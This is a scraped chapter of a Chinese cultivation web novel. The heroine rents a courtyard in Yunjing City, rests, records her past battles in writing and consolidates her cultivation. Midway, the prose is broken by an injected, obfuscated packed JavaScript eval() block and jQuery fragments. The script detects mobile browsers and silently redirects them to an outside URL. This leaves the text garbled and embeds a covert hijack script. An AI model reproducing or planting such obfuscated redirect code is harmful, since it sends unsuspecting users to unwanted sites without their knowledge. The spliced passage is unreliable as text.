123读书网 > 玄幻小说 > 我当散修苟长生 > 66.第066章小院
    云泾城是散修聚集地,提供长期租住、附带修炼设施的客栈或租赁行并不少见。吴璟接连打听了几家,对比了价格、位置和设施条件,最终选中了一家位于城池东南区域、靠近散修交易集市、名为安居阁的客栈。


    这家客栈门面不算最气派,但收拾得干净利落,掌柜是个面容和气、修为在炼气中期的中年修士,听闻她的需求后,眼中露出一丝了然。显然是打算在此长住潜修的散修,这类客人最是稳定。


    “道友想要带地火的丹室与炼器室,还要有聚灵阵,独门独户的小院……”掌柜捋着短须,沉吟道,“这样的院子,我们安居阁倒是有几处。只是这价格嘛……自然是要比寻常住处贵上一些,不过贵也有贵的道理。丹室里配有品质精良丹炉,炼器室里有坚固的黑石锻造台。日常维持地火、聚灵阵的灵石消耗,则需道友个人承担。”


    “价格几何?可否先看看院子?”吴璟问道。


    掌柜见她态度从容,便取出一枚玉简,注入灵力,一副立体光影构成的院落示意图浮现在两人面前:“道友请看,甲字三号院。独立小院,设有基础的隔音、防护禁制。院内东厢房引有稳定的丙等地火,可供炼丹、炼器之用,火口有简易控火法阵。西厢房布置了初级聚灵阵,虽不及灵脉旁的洞府,倒也足够日常修炼。正屋起居,侧屋可用作静室或库房。后院还有一小块灵田,土质尚可,种些低阶灵药或灵谷灵麦都行。”


    光影图像清晰,布局也合吴璟心意。独立,安静,功能齐全。


    “租金如何算?”


    “按月租赁,每月八百灵石。若是一次性预付一年,可免去首月租金,算是八千八百灵石。”掌柜报出价格。


    吴璟略一思索,便点头应下:“我先租一年。” 说着,取出相应数量的灵石。


    掌柜笑容更盛,利落地办好手续,递过一枚控制院落禁制的玉牌和两把钥匙:“甲字三号院,道友凭此玉牌可自由出入院落,激发防护。地火室和聚灵阵的启动枢纽皆在室内,具体用法玉牌内亦有说明。祝道友修炼顺遂。”


    接过玉牌和钥匙,吴璟按照指引,很快找到了位于客栈后巷深处、被一道矮墙与其他院落隔开的甲字三号院。


    青砖灰瓦,院门朴实,门上禁制在玉牌靠近时自动开启。


    推门而入,是一个约莫两丈见方的小院子,青石铺地,墙角种着几丛耐寒的翠竹。正屋三间,窗明几净,家具虽简朴却齐全。东厢房门口能感受到隐约的热力,推门进去,果然见地面设有火口。西厢房则灵气明显比外界浓郁一些,地面上刻画着聚灵阵纹。


    这里,便是她在云泾城暂时的家了。


    关上院门,激发玉牌中的防护禁制,一层淡淡的、几乎看不见的光幕笼罩了小院,隔绝了外界的窥探与嘈杂。


    吴璟走到院中,深深吸了一口气。


    回想从安阳城到云泾城这一路,遭遇劫匪、陷入迷障、久困深山,目睹厮杀、死里逃生、偶遇故人……可谓步步惊心,艰难险阻。但正是这步步险途,锤炼了她的斗法技巧,磨砺了她的心志,开阔了她的见识,也更让她看清了自身的不足与前进的方向。


    如今,终于得以在这相对安稳的一隅暂歇片刻。


    吴璟穿过灶屋,来到后院。


    后院有一小片翻耕过的灵田,尚未播种。一口青石古井安静地守在角落。她走上前,放下木桶,井绳摩擦着辘轳,发出吱呀的轻响。打上来的井水清冽透亮,带着地底特有的凉意,舀一瓢尝了,清甜爽口。


    拎了满当当一壶水回到堂屋,在储物手镯里翻找片刻,取出了一套白泥小炭炉和红泥茶壶,还有一包妥善存放的金蕊朝阳。这茶是离家前,母亲塞给她的,外公外婆最喜欢的茶。


    搬个小杌子坐下,吴璟没有使用法术,用火折子点燃炭块,看着红亮的火苗一点点舔舐壶底。水渐渐沸了,咕噜咕噜的声音单调却令人安心,白色的水汽顶着壶盖轻轻跳跃,很快,一股清雅中带着微甜暖意的茶香便弥散开来,驱散了新居那点陌生的清冷气。


    她斟了一杯,捧在手里,热度透过杯壁熨帖着掌心。


    慢慢地啜饮,茶汤微烫,滑入喉中,暖意便顺着四肢百骸缓缓蔓延。


    午后的阳光透过竹叶缝隙,洒下斑驳晃动的光点,偶有微风拂过,竹叶沙沙作响,衬得后院那片空荡荡的灵田在阳光下显得格外空荡。


    “种点什么好呢……”吴璟望着巴掌大的褐色土壤,低声呢喃。


    几乎是下意识的,脑海中浮现的,便是那抹在昏暗石洞中陪伴她度过漫长孤寂时光的、坚韧而温柔的白色。


    “种两株棠梨吧。”她轻轻对自己说。


    一壶茶渐渐见了底,身心都在这简单重复的煮茶、饮茶动作中慢慢舒展。她放下茶杯,满足地、长长地伸了个懒腰,骨节发出轻微的脆响。


    踱进卧房,从储物手镯里取出早已备好的被褥——依旧是离家时带的、母亲亲手准备。


    仔细铺好床单,抖开被子,套上枕套。做着这些琐事时,心里有种奇异的踏实感。


    忙完这些,倦意便如潮水般涌来。


    额……没洗澡,罢了,捏个法诀,身上微光流转,两个清洁术过后,便觉通体清爽,尘埃尽去。


    拔下固定发髻的寻常木簪,任由长发如瀑般披散肩头。脱下外衫鞋袜,只着贴身的柔软中衣,她掀开还带着皂角清香的被角,将自己整个埋进蓬松柔软的褥子里。


    被褥包裹着身体,暖融融的安心。窗外的日光透过窗纸,变成柔和的、昏黄的光晕。远处集市隐约的喧嚣,被院落的禁制和距离过滤成模糊的背景音。


    她闭上眼睛,深深地、缓缓地吐出一口气。


    她要好好地、睡一觉。


    一觉醒来,日头西斜,神清气爽的吴璟来到后院灵田,种下两粒棠梨。


    天边最后一抹暖金色的余晖恋恋不舍地滑过竹梢,院中的光影被迅速拉长、稀释,最终融成一片朦胧的灰蓝。她直起身,轻轻拍了拍手上沾着的、带着微微湿气的蓬松土壤,低头对着刚刚埋下种子的地方,柔声叮嘱:“要好好长哦。这里有阳光,有雨露,还有灵气,你们可以健健康康地长大。”


    晚风拂过,竹叶又沙沙地响了一阵。


    吴璟转身回了屋,关上门。


    从储物手镯里取出两枚萤石,指尖微弹,它们便轻盈地飞起,稳稳嵌入屋梁预制的凹槽内。柔白润泽的光芒均匀洒下,不刺眼,不摇晃,恍如一方被精心裁剪、铺陈室内的静谧月光,将屋内陈设照得清晰又温柔。


    她在窗下的木桌前坐下,取出笔墨纸砚。拿起墨块,就着砚中浅浅一层清水,开始不疾不徐地研磨。


    手腕转动,墨迹在清水中缓缓晕开,由浅至深,单调而规律的磨墨声在寂静的室内响起,她的心神随着这重复的动作,不由自主地飘远。


    眼前仿佛又闪过断肠峪外,劫匪如潮水般自黑暗中涌出的那个惊魂之夜。耳边似乎还能听到那祖孙俩急促的喘息,赤炎尺上传来的反震之力,以及……青玉兰簪碎裂时细微却清晰的哀鸣。


    然后是终日不散的迷雾,冰冷寂静的石洞,黑暗中棠梨种子破土时那点微不足道却足以点亮心房的绿意,还有……幼蟒身躯骤然膨胀带来的震撼,妖植藤蔓破风袭来的腥气,天地灵乳入口时难以言喻的温润与生机……


    昔归群山深处,毒刺猬临死前戛然而止的惨叫,沼泽地旁劫修首领冰冷如毒蛇的注视,生死一线间的绝望,以及秦跃光近乎完美的伪装……</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083502|190509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    一幕幕,一桩桩,如同默然的皮影戏,在她专注研磨的指尖、在她沉静的眼眸里,无声地流转、浮现。


    墨,在不知不觉间,已磨得浓黑发亮,稠滑如缎。


    她回过神来,轻轻搁下墨块,取过一张素白微黄的竹纸铺平,镇纸压好,又执起半旧的狼毫笔。笔尖饱蘸浓墨,悬于纸面之上。


    略一沉吟,笔尖落下。


    “……五月,离顾家,随问缘阁车队往云泾。初九,夜,于断肠峪外遇劫匪袭营……”


    字迹不算娟秀,却一笔一划,工整清晰。笔锋游走,将记忆中的惊险、搏杀、决断、失误、心得,一一转化为落在纸上的黑字。


    窗外,夜色浓稠如墨。一轮清冷的弯月不知何时悄然爬上了东边的天际,将皎洁却疏离的光辉洒向沉睡的城池。月光透过窗纸,与屋内萤石的柔光交融,在她专注的侧脸上投下淡淡的光影。


    时间在笔尖与纸张的细微摩擦声中静静流逝。月亮无声地、缓慢地向中天爬升,又从另一侧从容滑落。远处偶尔传来几声悠长的犬吠,或是更夫模糊的梆子声,旋即又被深沉的夜吞没。


    她写得很慢,写写停停,有时会蹙眉凝思,回忆某个细节。有时会微微点头,记下一个宝贵的教训。写到最后几场遭遇时,笔触愈发沉凝。


    “……沼泽遇险,法器接连被毁,灵力枯竭……”


    天边,不知何时,浓稠的墨色如潮水般褪去,泛起一层极淡的、近乎透明的蟹壳青。


    吴璟终于写完了最后一个字,搁下笔。


    手腕因长时间书写而有些微酸,但她浑不在意。目光落在桌上那叠厚厚的手稿上,墨迹已干,在晨光熹微中显得格外清晰。上面密密麻麻,记载着她从安阳到云泾这一路上,几乎所有值得铭记的战斗与险境,以及她事后反思总结出的经验、技巧、乃至心境变化。


    她轻抚着纸面,指尖传来微微的粗糙感。


    母亲说得对。比起把纷乱的念头和模糊的印象直接用神识刻入玉简,这种用笔一字一句、将经历重新梳理、拆解、再落于纸上的过程,确实能让一切都变得更为清晰、深刻。那些惊心动魄的瞬间,那些生死一线的抉择,那些鲜血换来的体悟,在笔尖流淌时,仿佛又被重新经历、咀嚼了一遍,真正化为了融入骨血的经验与智慧。


    窗外,晨光刺破了天际的灰蓝,斜斜地照进屋内。她起身推开窗,清冽的空气涌入,冲散了一屋墨香。就在她舒展略显僵硬的筋骨时,丹田气海毫无征兆地微微一跳。


    不是突破时沛然的暖流,而是……一种奇异的饱满感,带着隐隐的雀跃与鼓胀,仿佛有什么正在内部酝酿、生长。经脉中缓缓运转的灵力,似乎比昨日突破后更加活泼了些许,甚至有些不受控制地想要加速,想要吸纳更多。


    她微微一怔,旋即意识到了什么——这是顿悟破境后,心神与灵力未曾完全协调稳固,而一夜潜心思索、将过往生死经历彻底梳理沉淀,心神再度拔高,反过来牵引了灵力的自然增长与精炼。


    突破太快,根基尚需夯实,心有所得,灵力亟待呼应。


    没有丝毫犹豫,吴璟转身走向西厢房的修炼室。


    启动聚灵阵的枢纽,地面上的阵纹次第亮起柔和的微光,室内稀薄的灵气开始缓缓汇聚,浓度逐渐提升。她盘膝坐于阵眼处的蒲团上,摒弃杂念,运转五行诀。


    十日后的清晨。


    修炼室内吴璟缓缓睁开了双眼。


    眸中神光湛然,清澈如水,却又比闭关前更深邃了几分,所有因顿悟和急速突破带来的些微虚浮与滞涩感已彻底消失。她周身萦绕的灵气波动平稳而浑厚,远比初入四层时扎实。


    炼气四层,彻底巩固,并且……向前迈出了坚实的一大步!